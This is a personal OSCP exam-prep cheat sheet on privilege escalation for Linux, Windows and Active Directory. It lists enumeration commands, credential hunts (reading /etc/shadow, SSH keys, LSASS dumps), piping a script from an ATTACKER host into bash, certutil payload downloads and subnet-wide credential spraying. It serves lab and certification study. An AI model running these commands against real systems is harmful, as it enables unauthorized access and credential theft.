Privilege Escalation — Techniques & Methodology

Mindset

You have a shell — now move to root, SYSTEM, or a path to Domain Admin. Enumerate manually first, then automate. Kernel exploits and noisy PoCs are last resort.

After foothold: Initial foothold got you in · this note is what to do next · deep techniques → Linux · Windows PrivEsc

Stabilize shell → Manual enum → Automated enum → Pick vector → Escalate → Loot creds → Pivot or DA

Exam rule: Easy wins (sudo, SUID, service misconfig, SeBackupPrivilege) beat kernel exploits every time.

📌 Phase 0 — Right After Foothold (Both)

# Kali — keep notes
# Screenshot / loot folder: IP, user, proof.txt path, creds found
 
# Stabilize shell if raw
python3 -c 'import pty; pty.spawn("/bin/bash")'   # Linux
# Restricted shell (rbash)? → [[Restricted Shell Escape]] first
# evil-winrm / PS already semi-stable on Windows

Question	Linux	Windows
Who am I?	`id` · `whoami`	`whoami` · `whoami /all`
What OS?	`uname -a` · `/etc/os-release`	`systeminfo`
Any special privs?	`sudo -l`	`whoami /priv`
Domain?	`hostname` · `cat /etc/resolv.conf`	`systeminfo` (Domain) · `net user /domain`

📌 Phase 1 — Linux Manual Enum (Run First)

Never skip — LinPEAS misses things; exam boxes often hide one manual check.

# Identity & context
id; whoami; groups
uname -a
cat /etc/os-release
hostname
pwd; env; echo $PATH
 
# CRITICAL
sudo -l
cat ~/.bash_history 2>/dev/null
history 2>/dev/null
 
# Users & auth
cat /etc/passwd | grep -v "nologin\|false"
cat /etc/group
ls -la /home/
ls -la /root/ 2>/dev/null
 
# Network & processes
ip a
ss -nltp
ss -tulpn
ps aux
ps aux | grep root
 
# Quick privesc hunters
find / -perm -4000 -type f 2>/dev/null          # SUID
find / -perm -2000 -type f 2>/dev/null          # SGID
find / -writable -type f 2>/dev/null | head     # writable files (slow — narrow paths)
find /var/www /opt /tmp /home -writable 2>/dev/null
 
# Cron & services
cat /etc/crontab
ls -la /etc/cron.*
systemctl list-timers 2>/dev/null
 
# Config / cred hunt
grep -rni "password\|passwd\|secret\|apikey" /var/www/ 2>/dev/null | head -20
find / -name "*.conf" -o -name "*.config" 2>/dev/null | xargs grep -li pass 2>/dev/null | head
 
# Nginx vhosts (missed subdomains) — see [[Nginx#📌 Post-compromise enumeration (Linux shell)]]
ls -la /etc/nginx/sites-enabled/ 2>/dev/null
grep -r server_name /etc/nginx/ 2>/dev/null
 
# Interesting files
find / -name "id_rsa" -o -name "*.pem" -o -name ".env" 2>/dev/null | head
strings /path/to/binary 2>/dev/null | grep -i pass

Save for Kali analysis:

uname -a > /tmp/uname.txt
# transfer → linux-exploit-suggester on Kali (last resort)

→ Linux > 📌 1) Basic Manual Enumeration · netstat · find · grep

📌 Phase 2 — Linux Automated Enum

After manual pass — run one thorough automated tool:

# Serve from Kali
cd /usr/share/peass/linpeas && python3 -m http.server 8080
 
# On target
curl http://ATTACKER:8080/linpeas.sh | bash
# or upload + ./linpeas.sh

Tool	When
LinPEAS	Default — Privesc Tools
lse.sh	Gradual enum — lse - Linux Smart Enumeration
linuxprivchecker	Python second pass — linuxprivchecker
LinEnum	Legacy — prefer lse
linux-exploit-suggester	On Kali with `uname -a` — kernel hints only

# Kali — after uname transfer
./linux-exploit-suggester.sh -f uname.txt
searchsploit $(uname -r)

→ linux-exploit-suggester · Linux > 📌 0) Automated Enumeration Tools

📌 Phase 3 — Linux Vector Priority

Try in this order:

Priority	Vector	Check
1	sudo -l	sudo · `(ALL) NOPASSWD` · GTFOBins · `sudo -V` vulns
2	SUID/SGID	`find / -perm -4000` · GTFOBins · custom binaries + `strings`
3	Cron / timers	Writable scripts · *Linux > Wildcard injection in cron (tar )**
4	Capabilities	`getcap -r / 2>/dev/null`
5	Writable PATH	Service/script runs as root, hijack binary
6	NFS no_root_squash	Mount + root-owned files
7	Docker / LXD	`groups` · `docker run -v /:/mnt` · lxc - LXD Privilege Escalation - EDB 46978 (`lxd` + `/snap/bin/lxc`)
8	Kernel exploit	LES / searchsploit — last

Full techniques → Linux

📌 Phase 4 — Windows Manual Enum (Run First)

whoami
whoami /all
whoami /priv
 
systeminfo
hostname
net user %username%
net user
net localgroup administrators
 
ipconfig /all
netstat -ano
tasklist
schtasks /query /fo LIST /v
 
REM Cred stores
cmdkey /list
dir %USERPROFILE%\.ssh\ 2>nul
type %USERPROFILE%\Desktop\*.txt 2>nul
 
REM Registry / autologon
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" 2>nul
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2>nul
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2>nul
 
REM Services (quick)
sc query state= all
wmic service get name,pathname,startmode 2>nul

Privilege triggers — act immediately: Full star table → Windows Privileges - OSCP Priority Hub

Privilege	Action
`SeImpersonatePrivilege`	Potato Attacks (GodPotato / PrintSpoofer) → SeImpersonatePrivilege
`SeAssignPrimaryTokenPrivilege`	Potato Attacks → SeAssignPrimaryTokenPrivilege
`SeBackupPrivilege`	SeBackupPrivilege — nxc, diskshadow, robocopy, wbadmin
`SeRestorePrivilege`	SeRestorePrivilege — wbadmin recovery, write abuse
`SeManageVolumePrivilege`	SeManageVolumePrivilege → SeManageVolumeExploit → DLL Injection
`SeDebugPrivilege`	SeDebugPrivilege · Mimikatz / LSASS dump
`SeTakeOwnershipPrivilege`	SeTakeOwnershipPrivilege — takeown + icacls
`SeCreateTokenPrivilege`	SeCreateTokenPrivilege — rare, instant win
`SeLoadDriverPrivilege`	SeLoadDriverPrivilege — BYOVD (rare)

→ Windows PrivEsc > 📌 1) Basic Manual Enumeration · tasklist and Get-Process · netstat

📌 Phase 5 — Windows Automated Enum

REM Transfer from Kali: /usr/share/peass/winpeas/
certutil -urlcache -split -f http://ATTACKER:8080/winPEASx64.exe C:\Temp\winPEAS.exe
C:\Temp\winPEASx64.exe cmd fast

# PowerUp — service/registry focused
. .\PowerUp.ps1
Invoke-AllChecks

On Kali (not target):

REM Target first
systeminfo > C:\Temp\systeminfo.txt

python3 windows-exploit-suggester.py --database DATE-mssb.xls --systeminfo systeminfo.txt --local

Tool	Where	Purpose
WinPEAS	Target	Broad auto-enum — Privesc Tools
PowerUp	Target	Services, registry, AlwaysInstallElevated — PowerUp
winExploitSuggester	Kali	Missing patches — winExploitSuggester

📌 Phase 6 — Windows Vector Priority

Priority	Vector	Deep dive
1	Token privs	Potato · Churrasco — Potato Attacks · Churrasco
2	SeBackupPrivilege	SeBackupPrivilege · `nxc -M backup_operator`
2b	SeRestorePrivilege	SeRestorePrivilege · wbadmin recovery
2c	SeManageVolumePrivilege	SeManageVolumePrivilege · SeManageVolumeExploit · DLL Injection
3	Unquoted service path	Writable path in service binary
4	Weak service DACL	`accesschk` · modifiable service
5	AlwaysInstallElevated - MSI Privilege Escalation	MSI as SYSTEM
6	Scheduled tasks	Writable task binary — schtasks
7	Stored creds	`cmdkey` · autologon registry
8	DLL hijack / PATH	DLL Hijacking · DLL Injection · writable PATH
9	Kernel / MS bulletins	winExploitSuggester — last resort

DPAPI credentials

Full techniques → Windows PrivEsc

📌 Phase 7 — Loot & Cred Hunt (During PrivEsc)

While enumerating — harvest creds for reuse (often faster than privesc):

# Files / DB dumps / configs
grep -Ei "password|passwd|secret|token|apikey|api_key|ssh|PRIVATE KEY|INSERT INTO" dump.sql
grep -rni "password" /var/www/ 2>/dev/null
 
# SSH keys
find / -name "id_rsa" -o -name "id_ed25519" 2>/dev/null
chmod 600 id_rsa && ssh -i id_rsa user@host

type C:\Users\*\Desktop\*.txt
findstr /si password *.xml *.config *.ini 2>nul

DPAPI credentials

→ Credential Discovery · Credential Graph · SSH

📌 Phase 8 — AD / Domain Paths

After local user shell on domain-joined host:

1. BloodHound / SharpHound — map path to DA → **[[WriteDacl]]** if WriteDACL on Domain
2. SeBackupPrivilege on DC? → **[[SeBackupPrivilege]]** or `nxc -M backup_operator`
3. Local admin? → LSASS / secretsdump / DCSync path
4. Kerberos tickets? → **[[Use Kerberos Ticket]]** · getTGT -aesKey / -hashes

# Time sync first
sudo timedatectl set-ntp false && sudo ntpdate -s DC_IP
# HTB no NTP: sudo date -u -s "YYYY-MM-DD HH:MM:SS"
 
# BloodHound collect
bloodhound-python -d domain.local -u user -p pass -dc DC_IP -c All
# or SharpHound on Windows shell
 
# Backup Operators → domain hashes
nxc smb DC_IP -u svc_backup -H NTHASH -M backup_operator

→ Bloodhound + Sharphound · Kerberos Scripts · Time Sync-Clock Skew

📌 Phase 9 — After You Escalate

# Linux root
cat /root/root.txt
cat /root/.ssh/id_rsa
cat /etc/shadow
 
# Windows SYSTEM / admin
type C:\Users\Administrator\Desktop\root.txt
# LSASS / SAM — [[LSASS]] · [[Mimikatz]] · [[secretsdump]]
 
# Reuse creds everywhere
nxc smb 10.10.10.0/24 -u user -p 'pass' --continue-on-success

Chain → LatMovement · Post-Exploitation

📌 Methodology Checklist

Linux

✅ sudo -l run?
✅ SUID/SGID find run?
✅ Cron + writable scripts checked?
✅ Capabilities (getcap)?
✅ LinPEAS run after manual enum?
✅ Writable /var/www, /opt, /tmp paths?
✅ Passwords in configs / nginx vhosts?
✅ Kernel exploit only after everything else?

Windows

✅ whoami /priv — SeImpersonate? SeBackup? SeRestore?
✅ systeminfo saved for winExploitSuggester?
✅ WinPEAS / PowerUp run?
✅ Unquoted paths + service DACLs?
✅ AlwaysInstallElevated?
✅ Scheduled tasks writable?
✅ cmdkey / autologon checked?
✅ SeBackupPrivilege → [[SeBackupPrivilege]] (nxc / diskshadow / wbadmin)?
✅ SeRestorePrivilege → [[SeRestorePrivilege]]?

AD (domain-joined)

✅ Time synced to DC?
✅ BloodHound collected?
✅ Backup Operators / SeBackup / SeRestore tested?
✅ Cred reuse spray after any hash found?

📌 Quick Cheat Sheet

# ─── LINUX (manual first) ─────────────────────────────────────
sudo -l
find / -perm -4000 -type f 2>/dev/null
ss -nltp; ps aux
curl http://KALI:8080/linpeas.sh | bash
 
# ─── WINDOWS (manual first) ───────────────────────────────────
whoami /priv
systeminfo
winPEASx64.exe cmd fast
 
# ─── PRIVILEGE TRIGGERS ───────────────────────────────────────
# SeImpersonate → GodPotato
# SeBackup → [[SeBackupPrivilege]]  (nxc -M backup_operator · diskshadow · robocopy · wbadmin)
# SeRestore → [[SeRestorePrivilege]]  (wbadmin recovery · write abuse)
 
# ─── LOOT ─────────────────────────────────────────────────────
grep -Ei "password|secret|ssh|PRIVATE KEY" dump.sql

Pearson's OSCP Notebook

Explorer

Privilege escalation

Privilege Escalation — Techniques & Methodology

Mindset

📌 Phase 0 — Right After Foothold (Both)

📌 Phase 1 — Linux Manual Enum (Run First)

📌 Phase 2 — Linux Automated Enum

📌 Phase 3 — Linux Vector Priority

📌 Phase 4 — Windows Manual Enum (Run First)

📌 Phase 5 — Windows Automated Enum

📌 Phase 6 — Windows Vector Priority

📌 Phase 7 — Loot & Cred Hunt (During PrivEsc)

📌 Phase 8 — AD / Domain Paths

📌 Phase 9 — After You Escalate

📌 Methodology Checklist

Linux

Windows

AD (domain-joined)

📌 Quick Cheat Sheet

Graph View

Table of Contents

Backlinks

Pearson's OSCP Notebook

Explorer

Privilege escalation

Privilege Escalation — Techniques & Methodology

Mindset

📌 Phase 0 — Right After Foothold (Both)

📌 Phase 1 — Linux Manual Enum (Run First)

📌 Phase 2 — Linux Automated Enum

📌 Phase 3 — Linux Vector Priority

📌 Phase 4 — Windows Manual Enum (Run First)

📌 Phase 5 — Windows Automated Enum

📌 Phase 6 — Windows Vector Priority

📌 Phase 7 — Loot & Cred Hunt (During PrivEsc)

📌 Phase 8 — AD / Domain Paths

📌 Phase 9 — After You Escalate

📌 Methodology Checklist

Linux

Windows

AD (domain-joined)

📌 Quick Cheat Sheet

Related Tools

Related Notes

Graph View

Table of Contents

Backlinks